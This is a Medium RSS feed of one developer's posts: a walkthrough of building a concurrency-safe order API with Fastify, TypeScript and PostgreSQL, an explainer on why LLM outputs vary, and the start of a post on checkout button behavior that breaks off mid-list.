<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ramya Selvaraj on Medium]]></title>
        <description><![CDATA[Stories by Ramya Selvaraj on Medium]]></description>
        <link>https://medium.com/@ramya_selvaraj?source=rss-3e06f48ee7f3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*46BjGugejHQCTYDBoziz0g.jpeg</url>
            <title>Stories by Ramya Selvaraj on Medium</title>
            <link>https://medium.com/@ramya_selvaraj?source=rss-3e06f48ee7f3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 12:50:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ramya_selvaraj/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Your Order API Works — Until Two Customers Click Buy at the Same Time]]></title>
            <link>https://medium.com/@ramya_selvaraj/your-order-api-works-until-two-customers-click-buy-at-the-same-time-96fdae35be86?source=rss-3e06f48ee7f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/96fdae35be86</guid>
            <category><![CDATA[postgresql]]></category>
            <category><![CDATA[expressjs]]></category>
            <category><![CDATA[fastify]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[typescript]]></category>
            <dc:creator><![CDATA[Ramya Selvaraj]]></dc:creator>
            <pubDate>Tue, 27 Oct 2026 11:19:16 GMT</pubDate>
            <atom:updated>2026-10-27T11:19:16.349Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How I used Fastify, TypeScript, and PostgreSQL to prevent overselling, duplicate orders, and unreliable pagination.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lWvCYryaZjtFBzmu2axxsw.png" /></figure><p>Imagine an online store with one pair of headphones left in stock.</p><p>Two customers click <strong>Buy</strong> at almost exactly the same time.</p><p>Both requests reach the server. Both check the inventory. Both see that one unit is available.</p><p>Everything looks fine.</p><p>Both orders are created.</p><p>Now the store has two confirmation emails, one pair of headphones, and one unhappy customer.</p><p>This is called <strong>overselling</strong>, and it’s one of those bugs that can hide in an application that otherwise seems to work perfectly.</p><p>The checkout endpoint might pass every ordinary test. It might work correctly when one customer places an order. But when two requests compete for the same inventory, the assumptions behind the code start to break down.</p><p>And overselling isn’t the only problem. A customer might retry a request after a timeout and accidentally create a duplicate order. Pagination might skip records when new orders arrive. An old order might display a different price simply because the product became cheaper.</p><p>These problems have something in common: they often appear when an application interacts with a world that doesn’t behave as predictably as its code expects.</p><p>Over the past few weeks, I built a REST API for an online store using Node.js, Fastify, TypeScript, and PostgreSQL. It supports product browsing, shopping carts, checkout, order history, and cancellations. I also added automated tests with Jest and Supertest, packaged the application with Docker, and configured GitHub Actions to run checks on every push.</p><p>My goal wasn’t just to make the endpoints work. I wanted to design the system so that common failure scenarios were handled deliberately rather than left to chance.</p><p>In this article, I’ll walk through four problems I focused on, the decisions behind their solutions, and the lessons I learned while building the API.</p><h3>1. The architecture: Keep the responsibilities separate</h3><p>Before getting into the bugs, here’s a quick look at the project structure.</p><pre>src/<br>  app.ts              Builds the application<br>  server.ts           Starts the server<br>  config.ts           Validates environment variables<br>  plugins/            Authentication, errors, Swagger<br>  modules/<br>    auth/             Registration and login<br>    products/         Product browsing and management<br>    carts/            Cart operations<br>    orders/           Checkout, history, cancellation<br>migrations/           Database schema migrations<br>tests/                Unit and API tests</pre><p>Each feature follows a simple separation of responsibilities:</p><ul><li><strong>Schemas</strong> define what valid input looks like.</li><li><strong>Services</strong> contain business logic and database operations.</li><li><strong>Routes</strong> handle HTTP requests, responses, and status codes.</li></ul><p>This keeps the business logic independent of HTTP details. It also makes the service layer easier to test and reason about.</p><p>I used Zod for request validation. The schemas also support the Swagger documentation at /docs, helping keep the API documentation aligned with the data the application accepts.</p><p>The structure itself isn’t particularly unusual. What matters is how the application and database work together when something goes wrong.</p><p>Let’s start with the problem that inspired the title.</p><h3>2. Two customers, one unit: Preventing overselling</h3><p>A straightforward checkout implementation might follow these steps:</p><ol><li>Read the available stock.</li><li>Check whether the requested quantity is available.</li><li>Create the order.</li><li>Decrease the stock.</li></ol><p>The problem is that these steps aren’t automatically protected from concurrent requests.</p><p>Imagine two transactions running this logic at the same time:</p><p><strong>Customer A</strong></p><ol><li>Reads stock: 1</li><li>Confirms availability.</li><li>Creates an order.</li><li>Decreases stock.</li></ol><p><strong>Customer B</strong></p><ol><li>Reads stock: 1</li><li>Confirms availability.</li><li>Creates an order.</li><li>Decreases stock.</li></ol><p>Both customers see the same available inventory and believe they can complete the purchase.</p><p>The result? Two orders for a product that only had one unit in stock.</p><p>Both transactions made their decisions using the same initial stock value.</p><p>Depending on how the update is implemented, this can result in overselling or other inconsistent behavior.</p><p>The solution is to coordinate competing checkouts inside a database transaction.</p><h3>Lock the rows before checking inventory</h3><p>Here’s the query I use to lock the cart items and their corresponding products:</p><pre>SELECT<br>    ci.product_id,<br>    ci.quantity,<br>    p.price_cents,<br>    p.stock<br>FROM cart_items ci<br>JOIN products p ON p.id = ci.product_id<br>WHERE ci.user_id = $1<br>ORDER BY p.id<br>FOR UPDATE OF ci, p;</pre><p>The important part is FOR UPDATE.</p><p>PostgreSQL acquires row-level locks on the selected cart items and products. A competing transaction that needs conflicting locks must wait until the current transaction finishes.</p><p>Here’s what happens when two customers try to buy the last unit:</p><ol><li>Customer A’s transaction locks the relevant rows.</li><li>Customer A checks the stock, creates the order, updates inventory, and commits.</li><li>Customer B’s transaction continues after the conflicting lock is released.</li><li>Customer B sees the updated stock and discovers that no units remain.</li><li>Customer B’s checkout is rejected with a 409 Conflict response.</li></ol><p>Instead of allowing both requests to make decisions based on the same stale inventory value, the database coordinates their access.</p><p>The stock validation, inventory update, and order creation must all happen within the same transaction for this approach to work correctly.</p><h3>Why the order of locks matters</h3><p>There’s another detail worth mentioning: the query uses ORDER BY p.id.</p><p>When transactions lock multiple rows in different orders, they can end up waiting for each other. PostgreSQL detects deadlocks and aborts one of the transactions, but that still means unnecessary failures and retries.</p><p>Consistently acquiring locks in the same order helps reduce this risk. It doesn’t prevent every possible deadlock, but it makes this particular class of conflict less likely.</p><h3>Let the database enforce the rule</h3><p>Application logic is important, but it shouldn’t be the only thing protecting inventory.</p><p>The products table also has a constraint:</p><pre>stock INTEGER NOT NULL CHECK (stock &gt;= 0)</pre><p>Even if a bug attempts to save a negative stock value, PostgreSQL rejects the update.</p><p>I like this approach because the application and database have complementary responsibilities. The application decides whether a purchase should proceed, while the database prevents an invalid stock value from being persisted.</p><h3>Testing the race</h3><p>I wrote a concurrency test in which five customers attempt to purchase the final two units at approximately the same time.</p><p>The expected result is:</p><ul><li>Two successful orders.</li><li>Three rejected checkouts.</li><li>Final stock of zero.</li></ul><p>This test is more meaningful than simply checking whether a successful purchase decreases inventory. It verifies the behavior when multiple requests compete for the same resource.</p><p><strong>The goal isn’t just to prove that checkout works. It’s to prove that checkout remains correct when requests overlap.</strong></p><h3>3. The retry that creates a second order</h3><p>Overselling is one failure mode. Network retries create another.</p><p>Imagine a customer clicks <strong>Place Order</strong>. The server processes the checkout and commits the order, but the response never reaches the customer.</p><p>The frontend waits, times out, and retries the request.</p><p>From the customer’s perspective, the first attempt failed. From the server’s perspective, it succeeded.</p><p>Without additional protection, the retry could create a second order.</p><p>This is where <strong>idempotency</strong> becomes important.</p><h3>Give each checkout attempt an idempotency key</h3><p>The client generates a unique key for the checkout attempt and sends it in a request header:</p><pre>POST /orders<br>Idempotency-Key: 3f2c9b1e-8a4d-4c1e-9f7a-2b6d8e0a1c55</pre><p>If the same key is received again, the API returns the result associated with the original checkout instead of repeating its effects.</p><p>The important distinction is that the key belongs to a checkout attempt. A legitimate new purchase should use a new key.</p><h3>Let PostgreSQL handle competing requests</h3><p>A tempting implementation is to check whether the key already exists and insert the order only if it doesn’t.</p><p>Unfortunately, two requests can perform that check simultaneously. Both see that the key is missing, and both attempt to create an order.</p><p>A unique constraint eliminates that race.</p><p>For example, the database can enforce uniqueness on the combination of the user ID and idempotency key:</p><pre>INSERT INTO orders (user_id, idempotency_key)<br>VALUES ($1, $2)<br>ON CONFLICT (user_id, idempotency_key) DO NOTHING<br>RETURNING id, status, total_cents, created_at;</pre><p>The database, rather than an application-level check, decides which request can claim the key.</p><p>If two requests arrive concurrently, the unique constraint coordinates their inserts. If the first transaction commits, the competing insert encounters the conflict. If the first transaction rolls back, the second can proceed.</p><p>The application then retrieves and returns the existing order when a conflict occurs.</p><p>The order creation and checkout operations must be part of the same transaction so that the key and the order cannot become inconsistent.</p><p>If checkout fails because there isn’t enough stock, the transaction rolls back. That means the order and its newly inserted key are rolled back together, allowing the customer to try again.</p><h3>How I tested it</h3><p>I tested three simultaneous requests using the same idempotency key.</p><p>The expected outcome is one order ID shared across all three responses, with inventory deducted only once.</p><p>The original request returns 201 Created, while replayed requests return 200 OK.</p><p>Idempotency doesn’t require every response to have the same HTTP status. It requires repeated requests with the same key to avoid repeating the operation’s effects.</p><p>One improvement I’d make before production is to store a fingerprint of the request alongside the key. If a client reuses the same key with a different cart, the API should reject the request rather than silently returning the original order. A 422 Unprocessable Content response would be reasonable.</p><p>This is a good example of why reliable APIs need to define not only what happens during a successful request, but also what happens when clients retry, repeat, or misuse requests.</p><h3>4. The page that silently skips orders</h3><p>Not every reliability problem involves simultaneous writes.</p><p>Sometimes the issue is simply how an API retrieves data while that data is changing.</p><p>Consider order history. A common implementation uses offset pagination:</p><pre>SELECT *<br>FROM orders<br>WHERE user_id = $1<br>ORDER BY created_at DESC<br>LIMIT 20 OFFSET 40;</pre><p>This retrieves the next 20 records after skipping 40.</p><p>It works for small datasets, but it has two drawbacks.</p><p>First, deep pages can become increasingly expensive because PostgreSQL may need to scan and discard many preceding rows.</p><p>Second, the results can shift when new orders arrive between page requests. A record can move from one page to another, causing a customer to see a duplicate or miss an order while navigating.</p><p>For this project, I used <strong>keyset pagination</strong>, also known as cursor-based pagination.</p><p>Instead of telling the database to skip a number of rows, the client supplies a cursor identifying where the previous page ended.</p><pre>SELECT *<br>FROM orders<br>WHERE user_id = $1<br>  AND (created_at, id) &lt; ($2, $3)<br>ORDER BY created_at DESC, id DESC<br>LIMIT $4;</pre><p>The cursor contains the timestamp and ID of the last order on the previous page.</p><p>The database then retrieves orders that appear after that position in the descending sort order.</p><h3>Why include the ID?</h3><p>Two orders can have the same timestamp.</p><p>If I sort only by created_at, their relative order isn&#39;t fully defined. That makes cursor boundaries less reliable.</p><p>Adding the unique order ID provides a deterministic tie-breaker:</p><pre>ORDER BY created_at DESC, id DESC</pre><p>Now each order has a unique position in the ordering.</p><h3>Why fetch one extra row?</h3><p>Suppose the requested page size is 20.</p><p>The API fetches 21 rows instead. If the extra row exists, another page is available. The API returns the first 20 rows and generates the next cursor from the last returned order.</p><p>This avoids a separate COUNT(*) query just to determine whether more results exist.</p><h3>Keep the cursor opaque</h3><p>The cursor is encoded as Base64 JSON.</p><p>The client receives the cursor and sends it back unchanged. It doesn’t need to know how the cursor works internally.</p><p>This gives the implementation room to evolve the cursor format without requiring clients to reconstruct it.</p><p>Base64 is only an encoding mechanism, not encryption or authentication. If cursor tampering matters, the server should validate or sign the cursor.</p><h3>The timestamp precision bug</h3><p>This was one of the more subtle problems I encountered.</p><p>PostgreSQL can store timestamps with microsecond precision, while JavaScript’s standard Date object represents time at millisecond precision.</p><p>If a database timestamp contains fractional milliseconds and the application converts it to a Date, some precision is lost. Using that rounded timestamp as a cursor can shift the comparison boundary and cause records to be skipped.</p><p>I addressed this by defining the timestamp column with millisecond precision:</p><pre>created_at TIMESTAMPTZ(3) NOT NULL DEFAULT now()</pre><p>Now the database stores timestamps at the same precision that JavaScript Date can represent.</p><p>It’s a small schema decision, but it removes an entire class of timestamp precision issues.</p><p>One important caveat: keyset pagination makes traversal more stable, but it doesn’t create a snapshot of the entire dataset. If an application requires a completely consistent view across multiple page requests while new records are being inserted, it needs an additional snapshot or filtering strategy.</p><p>The broader lesson is that pagination is not just about returning the next batch of records. It’s about defining exactly what “next” means when the underlying data can change.</p><h3>5. The price that rewrites history</h3><p>Imagine a customer buys a product for $89.99.</p><p>A week later, the store lowers the price to $69.99.</p><p>If order history reads the current price from the products table, the old order suddenly appears to have cost $69.99.</p><p>That’s incorrect. The current price and the historical purchase price represent two different facts.</p><p>To preserve that distinction, each order item stores a snapshot of the unit price at checkout:</p><pre>unit_price_cents INTEGER NOT NULL<br>    CHECK (unit_price_cents &gt;= 0)</pre><p>The order records what the customer agreed to pay at the time of purchase. Changes to the product’s price don’t rewrite that history.</p><p>This is an example of intentional data duplication.</p><p>Database normalization is useful, but not every value should be retrieved from the latest version of a related record. Some values describe a past event and need to remain stable.</p><h3>Why store money as integer cents?</h3><p>I also represent monetary values as integer cents rather than floating-point numbers.</p><p>For example:</p><pre>$89.99 → 8999<br>$12.50 → 1250</pre><p>Floating-point arithmetic can introduce rounding errors. In JavaScript:</p><pre>0.1 + 0.2 === 0.3 // false</pre><p>Integer cents avoid this problem for arithmetic involving whole cents.</p><p>For currencies or calculations that require fractional minor units, an application may need a decimal arithmetic library and an explicit rounding strategy. For this project’s pricing model, integer cents provide a straightforward approach.</p><p>The principle is simple: historical records should preserve what happened, and financial calculations should use representations that make rounding behavior predictable.</p><h3>6. Security: Make the safe path the default</h3><p>Correct checkout behavior is only part of building an order API. The system also needs to protect customer accounts and data.</p><p>Here are the main security decisions I made.</p><p><strong>Passwords are hashed, never stored in plain text.</strong></p><p>I use bcrypt to hash passwords before saving them. Its salt and deliberately expensive hashing process make large-scale password guessing more difficult if the database is compromised.</p><p><strong>Login errors don’t reveal whether an account exists.</strong></p><p>An invalid email and an incorrect password produce the same error response. Otherwise, someone could use the login endpoint to discover registered email addresses.</p><p><strong>Authentication uses JWTs.</strong></p><p>After login, the API issues a signed token containing the user’s ID and role, with a one-hour expiration.</p><p>Protected routes verify the token before executing their handlers. Because the server doesn’t maintain a traditional session for each user, multiple application instances can validate tokens independently.</p><p>The trade-off is revocation. A valid token generally remains usable until it expires unless additional revocation controls are implemented. Short-lived access tokens and refresh-token rotation are common ways to address this in production.</p><p><strong>Authorization is explicit.</strong></p><p>Admin-only operations, such as creating or editing products, use a requireAdmin guard. Customers receive a 403 Forbidden response when they lack the required permissions.</p><p><strong>Orders are scoped to their owners.</strong></p><p>Every order query includes the authenticated user’s ID:</p><pre>WHERE user_id = $1</pre><p>This prevents customers from retrieving another user’s order simply by changing an order ID in the URL.</p><p>For inaccessible orders, the API returns 404 Not Found. This also avoids revealing whether another customer&#39;s order exists.</p><p><strong>Rate limiting happens after authentication.</strong></p><p>Order creation has a configurable per-user rate limit. Applying the limit after identifying the user allows the application to limit activity by account instead of treating every request from a shared IP address as the same person.</p><p>The current implementation stores rate-limit counters in memory, which is suitable for a small deployment but doesn’t coordinate limits across multiple application instances.</p><p><strong>SQL queries are parameterized.</strong></p><p>User-provided values are passed as parameters such as $1 and $2, rather than interpolated into SQL strings. This helps prevent SQL injection.</p><p>None of these decisions is especially flashy. Together, they establish sensible security boundaries throughout the API.</p><h3>7. Testing the behavior that matters</h3><p>One decision I made early was to run integration tests against a real PostgreSQL database instead of mocking database operations.</p><p>Mocks are useful for isolated unit tests, but they can’t reproduce PostgreSQL’s actual locking, constraint, transaction, and rollback behavior without separately simulating those semantics.</p><p>Those are exactly the behaviors this project depends on.</p><p>The API tests use Jest and Supertest to send real HTTP requests to the application, with PostgreSQL handling the underlying queries. Each test starts with a clean database state and creates its own users, products, and carts.</p><p>Some of the most important tests cover:</p><ul><li><strong>Transaction rollback:</strong> A checkout that fails because of insufficient stock leaves no partial order behind, doesn’t modify unrelated inventory, and preserves the cart.</li><li><strong>Concurrent idempotency keys:</strong> Three simultaneous requests with the same key create only one order.</li><li><strong>Inventory contention:</strong> Five buyers compete for two units, and exactly two checkouts succeed.</li><li><strong>Pagination:</strong> Traversing the full result set returns every order exactly once, in the expected order.</li><li><strong>Historical pricing:</strong> Updating a product’s price doesn’t change the price stored on an existing order.</li></ul><p>Unit tests cover the parts that don’t require a database, such as cursor encoding and configuration validation.</p><p>The distinction matters. Unit tests verify individual pieces of logic, while integration tests verify that those pieces behave correctly when connected to the database and HTTP layer.</p><p>For concurrency-sensitive features, that second kind of evidence is essential.</p><p>A test that checks whether a function returns the right value is useful. A test that proves five competing checkouts cannot sell more inventory than exists is much closer to the behavior the business actually depends on.</p><h3>8. Packaging and CI/CD</h3><p>I also wanted the project to be reproducible outside my development machine.</p><p>The API uses a multi-stage Docker build. The first stage compiles the TypeScript code; the runtime stage contains the compiled application and production dependencies.</p><p>The final image runs as a non-root user and excludes the TypeScript source files and build-time dependencies. This reduces the image size and limits unnecessary components in the runtime environment.</p><p>For local development, Docker Compose starts PostgreSQL and the API together. A database health check helps ensure the API doesn’t attempt to connect before PostgreSQL is ready.</p><p>GitHub Actions runs the checks automatically on every push. The workflow starts a PostgreSQL service, installs dependencies, checks the TypeScript code, runs the test suite with coverage, and builds the Docker image only after the checks pass.</p><p>The goal isn’t to claim that a green pipeline proves an application is bug-free. It’s to ensure the same baseline of checks runs consistently instead of relying on someone to remember them before every change.</p><h3>9. What I’d improve next</h3><p>The project addresses several important correctness problems, but there are still areas I’d improve before using it in a real store.</p><ul><li><strong>CORS configuration:</strong> A browser frontend hosted on another origin needs an explicit CORS policy that allows only the intended origins and methods.</li><li><strong>Idempotency-key retention:</strong> Keys currently have no expiration policy. A production system needs a defined retention period and cleanup strategy.</li><li><strong>Request fingerprinting:</strong> Reusing an idempotency key with a different request body should be rejected instead of silently returning the original order.</li><li><strong>Refresh-token support:</strong> Customers need a better session lifecycle than simply logging in again whenever the access token expires.</li><li><strong>Distributed rate limiting:</strong> In-memory counters don’t coordinate between instances. A shared store such as Redis would support consistent limits across the deployment.</li><li><strong>Payment integration and refunds:</strong> The project doesn’t process payments yet. Cancellation therefore doesn’t initiate a refund or coordinate inventory restoration with a payment provider.</li></ul><p>Payment integration would deserve particular attention. A database transaction cannot atomically commit a local order and a successful charge at an external payment provider. That requires a separate design for payment states, retries, reconciliation, and compensating actions.</p><p>I’d also review structured logging, monitoring, database connection limits, and backup and recovery procedures before considering a production deployment.</p><p>I think being clear about these gaps is important. A project can demonstrate sound engineering decisions without pretending to be a complete production platform.</p><h3>10. What I learned</h3><p>The biggest lesson from this project is that an API can behave perfectly under normal conditions and still fail when the world gets a little less predictable.</p><p>Two customers click Buy at the same time. A response disappears. A client retries. New orders arrive while someone is browsing their history. A product’s price changes after a purchase.</p><p>None of these situations is particularly unusual. They’re normal events in a real application.</p><p>The engineering challenge is making sure they don’t produce incorrect results.</p><p>For this API, that meant using:</p><ul><li>Row-level locks and database constraints to protect inventory.</li><li>Unique constraints and idempotency keys to prevent duplicate checkout effects.</li><li>Keyset pagination to make navigating changing datasets more reliable.</li><li>Historical price snapshots to preserve what customers actually paid.</li><li>Real-database integration tests to verify the behavior that matters most.</li></ul><p>What I found particularly valuable is how much responsibility PostgreSQL can take on when its guarantees are used deliberately.</p><p>Transactions, locks, unique constraints, and check constraints aren’t just database features. They’re tools for expressing business rules in ways that concurrent application requests cannot casually bypass.</p><p>Instead of writing code that hopes an invalid state never occurs, I tried to make invalid states harder to represent and persist in the first place.</p><p>That’s the principle I’d carry into my next backend project.</p><p>The source code is available on GitHub: <a href="https://github.com/ramyaselvaraj817/OrderManagementApi">https://github.com/ramyaselvaraj817/OrderManagementApi</a> <br>The README explains how to run the project locally, and the interactive Swagger documentation is available at /docs after starting the server.</p><p>If you’ve built an API with similar checkout guarantees, I’d be interested to hear how you approached concurrency, idempotency, and pagination. These problems look straightforward until the edge cases start showing up.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=96fdae35be86" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Part 1 — The Prompt Is Not Code: Why LLMs Aren’t Deterministic]]></title>
            <link>https://medium.com/@ramya_selvaraj/part-1-the-prompt-is-not-code-why-llms-arent-deterministic-7d3d9f48daaf?source=rss-3e06f48ee7f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/7d3d9f48daaf</guid>
            <category><![CDATA[front-end-development]]></category>
            <category><![CDATA[frontend]]></category>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[prompt-engineering]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[Ramya Selvaraj]]></dc:creator>
            <pubDate>Fri, 18 Sep 2026 04:39:48 GMT</pubDate>
            <atom:updated>2026-09-18T04:39:48.894Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*URM2EaFsHRVp6dMC9E4-VA.png" /></figure><p>If you’re a software engineer, your first instinct when working with AI might be to think of a prompt like a function:</p><pre>input → prompt → output</pre><p>Same input. Same output.</p><p>That’s how traditional software works.</p><p>But an LLM works differently.</p><p>It doesn’t execute your prompt like a program. It generates a response <strong>one token at a time</strong>, predicting what should come next based on probabilities.</p><p>That one idea explains a lot of what developers see when working with LLMs.</p><h3>A Prompt Isn’t a Function</h3><p>Consider:</p><pre>Explain React hooks.</pre><p>There’s no single predefined answer waiting to be returned.</p><p>Conceptually, the model generates something like:</p><pre>Explain → React → hooks → are → ...</pre><p>At every step, it evaluates possible next tokens and assigns probabilities to them.</p><p>The important distinction is:</p><blockquote><strong><em>Traditional programs execute logic. LLMs generate continuations.</em></strong></blockquote><h3>Think of an LLM as Probabilistic Autocomplete</h3><p>A useful mental model is an extremely sophisticated autocomplete system.</p><pre>React is a<br>      ↓<br>   library<br>      ↓<br>React is a library for<br>      ↓<br>   building<br>      ↓<br>...</pre><p>The model predicts the next token, adds it to the context, and predicts again.</p><p>Repeat until the response is complete.</p><p>Modern LLMs use Transformer architectures to model relationships between tokens and produce probabilities for possible next tokens.</p><p>So instead of thinking:</p><blockquote><em>“What is the correct answer?”</em></blockquote><p>Think:</p><blockquote><strong><em>“Given everything in the context so far, what is likely to come next?”</em></strong></blockquote><p>That difference is the foundation of prompt engineering.</p><h3>So Why Do Responses Vary?</h3><p>Suppose you ask:</p><pre>What is the capital of France?</pre><p>The probability of Paris is extremely high, so you&#39;ll usually get the same answer.</p><p>Now ask:</p><pre>Write a creative introduction to a React application.</pre><p>There are thousands of reasonable continuations.</p><p>This is where <strong>sampling</strong> matters.</p><h3>Temperature</h3><p>Temperature influences how strongly the model favors high-probability choices.</p><p><strong>Lower temperature:</strong></p><pre>More predictable<br>     ↓<br>More likely choices dominate</pre><p>Useful for things like:</p><ul><li>structured output</li><li>classification</li><li>extraction</li><li>factual tasks</li><li>code generation</li></ul><p><strong>Higher temperature:</strong></p><pre>More variation<br>     ↓<br>More alternatives become viable</pre><p>Useful for:</p><ul><li>brainstorming</li><li>creative writing</li><li>generating variations</li></ul><p>A simple mental model:</p><blockquote><strong><em>Lower temperature → more consistency</em></strong><em><br></em><strong><em>Higher temperature → more variation</em></strong></blockquote><p>But low temperature doesn’t magically turn an LLM into a deterministic function.</p><h3>What About Top P?</h3><p>Top P, or nucleus sampling, controls <strong>how much probability mass is considered</strong> when selecting the next token.</p><p>For example:</p><pre>A → 55%<br>B → 25%<br>C → 12%<br>D → 5%<br>E → 3%</pre><p>With:</p><pre>Top P = 0.80</pre><p>the model considers approximately:</p><pre>A + B = 80%</pre><p>So the candidate set is narrowed to A and B.</p><p>A useful distinction:</p><pre>Temperature → How sharply probabilities are favored</pre><pre>Top P       → How much probability mass is considered</pre><p>You generally don’t need to obsess over tuning both. Your prompt, context, output schema, evaluation, and application logic often matter more.</p><h3>Tokens Change How You Think About Context</h3><p>LLMs don’t fundamentally process text as words. They process <strong>tokens</strong>.</p><p>A token can be:</p><ul><li>a whole word</li><li>part of a word</li><li>punctuation</li><li>whitespace</li><li>a special character</li></ul><p>So:</p><pre>Characters ≠ Words ≠ Tokens</pre><p>As a rough English-language intuition, one token is often around 0.75 words, but this varies by tokenizer and language.</p><p>Why does this matter?</p><p>Because tokens determine how much information fits into the model’s <strong>context window</strong>.</p><h3>Context Is Not Memory</h3><p>A context window is the amount of tokenized information the model can consider for a request.</p><p>It can include:</p><pre>System instructions<br>        +<br>Conversation history<br>        +<br>Current prompt<br>        +<br>Previous responses<br>        +<br>Other supplied content</pre><p>Modern models can support very large context windows, but <strong>large context is not infinite memory</strong>.</p><p>As conversations grow, systems may truncate, summarize, retrieve, or compact earlier information.</p><p>So when you ask:</p><blockquote><em>“Remember the architecture decision we made 100 messages ago.”</em></blockquote><p>The answer depends on whether that information is still available in the model’s active context.</p><p>The key distinction:</p><blockquote><strong><em>Context is not the same as permanent memory.</em></strong></blockquote><h3>Good Prompts Don’t Just Say What to Do</h3><p>Compare:</p><pre>Implement authentication.</pre><p>with:</p><pre>Before implementing authentication, identify any<br>missing requirements.</pre><pre>If something is ambiguous, ask me for clarification<br>before making implementation decisions.</pre><p>The second prompt doesn’t just describe <strong>what</strong> to build.</p><p>It defines <strong>how the model should behave when the requirements are unclear</strong>.</p><p>That’s especially useful with AI coding agents.</p><p>Instead of:</p><pre>Prompt<br>  ↓<br>Assumption<br>  ↓<br>Implementation</pre><p>you want:</p><pre>Prompt<br>  ↓<br>Analyze<br>  ↓<br>Identify ambiguity<br>  ↓<br>Ask<br>  ↓<br>Clarify<br>  ↓<br>Implement</pre><h3>The Developer Mental Model</h3><p>This is the mental model I’d keep in your head.</p><h3>Traditional software</h3><pre>Input<br>  ↓<br>Deterministic logic<br>  ↓<br>Output</pre><h3>LLM application</h3><pre>Input<br>  ↓<br>Instructions + Context<br>  ↓<br>Transformer<br>  ↓<br>Probability distribution<br>  ↓<br>Sampling / Decoding<br>  ↓<br>Next token<br>  ↓<br>Repeat<br>  ↓<br>Output</pre><p>You’re not specifying every execution step.</p><p>You’re <strong>constraining a probabilistic system</strong>.</p><h3>So What Is Prompt Engineering?</h3><p>Not:</p><blockquote><em>“Finding the magic sentence that makes AI give the perfect answer.”</em></blockquote><p>A better definition is:</p><blockquote><strong><em>Prompt engineering is designing instructions and context that make the desired behavior more likely and more consistent.</em></strong></blockquote><p>You can’t eliminate uncertainty.</p><p>But you can reduce it by:</p><ul><li>removing ambiguity</li><li>providing relevant context</li><li>defining constraints</li><li>specifying output formats</li><li>providing examples</li><li>defining behavioral rules</li><li>asking the model to clarify before acting</li></ul><p>The goal isn’t to eliminate probability.</p><p><strong>It’s to shape it.</strong></p><h3>The Takeaway</h3><p>If you remember only one thing from this article, remember this:</p><pre>Traditional Software<br>Input → Logic → Output</pre><pre>LLM<br>Input → Context + Instructions<br>     → Probability<br>     → Sampling<br>     → Tokens<br>     → Output</pre><p>A prompt isn’t a program.</p><p>And prompt engineering isn’t about finding magic words.</p><p><strong>It’s about learning how to communicate with a probabilistic system.</strong></p><p>Once you understand that, concepts like temperature, Top P, tokens, context windows, and few-shot prompting stop looking like AI buzzwords.</p><p>They become <strong>engineering concepts</strong>.</p><p><strong>Part 2 → Zero-Shot, One-Shot &amp; Few-Shot Prompting</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7d3d9f48daaf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Button Is Not Just a Button]]></title>
            <link>https://medium.com/@ramya_selvaraj/the-button-is-not-just-a-button-150b302775da?source=rss-3e06f48ee7f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/150b302775da</guid>
            <category><![CDATA[button]]></category>
            <category><![CDATA[ui]]></category>
            <category><![CDATA[frontend]]></category>
            <category><![CDATA[html]]></category>
            <category><![CDATA[front-end-development]]></category>
            <dc:creator><![CDATA[Ramya Selvaraj]]></dc:creator>
            <pubDate>Wed, 02 Sep 2026 11:50:02 GMT</pubDate>
            <atom:updated>2026-09-02T11:50:02.482Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nN71UDxKN8AHIDSB6g4Jfw.jpeg" /></figure><p>A button is one of the simplest things we build on the web.</p><p>At least, that’s how it looks.</p><p>You write:</p><pre>&lt;button onClick={handleSave}&gt;<br>  Save<br>&lt;/button&gt;</pre><p>You style it.<br>You wire up the handler.<br>You move on to the next task.</p><p>But imagine you’re building a checkout experience and adding a <strong>Pay Now</strong> button just like this.</p><p>A couple of days later, Customer Support escalates a critical issue:</p><p><strong>Some customers are being charged multiple times for the same order.</strong></p><p>The payment API wasn’t the problem.</p><p>The database wasn’t the problem.</p><p>The problem was the button.</p><p>The payment request took a few seconds to complete. During that time, users clicked <strong>Pay Now</strong>, saw no immediate feedback, assumed their click hadn’t registered, and clicked again.</p><p>And again.</p><p>The button looked perfect from a UI perspective, but it was missing some critical behavior:</p><ul><li>No loading state</li><li>No disabled state</li><li>No protection against duplicate submissions</li><li>No clear feedback that the payment was being processed</li></ul><p>The implementation had satisfied the design.</p><p><strong>It had failed the product.</strong></p><p>That distinction changed the way I think about frontend engineering.</p><p>A button isn’t just a visual element with an onClick handler. It sits at the intersection of user behavior, application state, network latency, error handling, accessibility, and business logic.</p><p>And that’s when I started realizing:</p><p><strong>Frontend engineering isn’t about making the UI look right. It’s about making the UI behave correctly.</strong></p><p>It looks simple.</p><p>But in a production application, a button is rarely just a button.</p><ol><li>What happens when the user clicks it twice?</li><li>What happens when the API takes three seconds?</li><li>What happens when the request fails?</li><li>What happens 